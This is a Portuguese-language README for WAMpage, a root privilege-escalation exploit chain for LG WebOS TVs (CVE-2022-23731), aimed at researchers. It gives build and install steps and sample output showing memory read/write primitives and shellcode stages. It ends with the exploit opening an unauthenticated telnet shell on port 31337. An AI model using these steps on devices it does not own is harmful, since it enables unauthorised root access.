
WAMpage - A WebOS root LPE exploit chain (CVE-2022-23731)
WAMpage - Uma cadeia de exploração LPE de root para WebOS (CVE-2022-23731)
Esta exploração é de interesse principalmente para outros pesquisadores - se você só quer fazer root na sua TV, provavelmente deseja RootMyTV, que oferece um root persistente confiável com um clique.
Atualmente suporta apenas WebOS 4.x em SoCs de 32 bits. Este software é fornecido COMO ESTÁ, use por sua conta e risco, etc.
Artigo: https://www.da.vidbuchanan.co.uk/blog/webos-wampage.html

Pré-requisitos:
apt install qemu-user
npm install -g @webosose/ares-cli
Compilando:
make
make test irá compilar e executar a exploração no d8, rodando em qemu-arm. (Uma versão pré-compilada do d8 e suas dependências estão incluídas no diretório bin/). Se a exploração funcionar com sucesso, você provavelmente verá algo assim:
[+] Starting WAMpage...
[+] addrof(myobj) = 0x5a68f5d1
[+] Test: reconstructed myobj: {"foo":"bar"}
[+] Set up arbread32/arbwrite32.
[+] stage2 shellcode loaded @ 0xff458000
[+] myfunc @ 0x5a693369
[+] stage1 RWX buf @ 0x5bb8f280
[+] Copied stage1 shellcode. Calling...
Traceback (most recent call last):
File "<stdin>", line 25, in <module>
IOError: [Errno 13] Permission denied: '/dev/mem'
O erro de permissão é esperado, assumindo que sua máquina não está totalmente mal configurada.
Você pode testar a exploração devmemes.py executando-a diretamente em uma TV, mas precisará de root para começar, ou de algum outro tipo de shell sem sandbox/sem jail.
Você pode usar ares-install, ou copiar manualmente o IPK e executar isto no shell do modo de desenvolvimento:
luna-send-pub -i 'luna://com.webos.appInstallService/dev/install' '{"id":"tv.rootmy.wampage","ipkUrl":"/path/to/wampage.ipk","subscribe":true}'
Inicie o aplicativo e pressione o botão "Start Exploit". Se tudo correr bem, um servidor telnet deve abrir na porta 31337.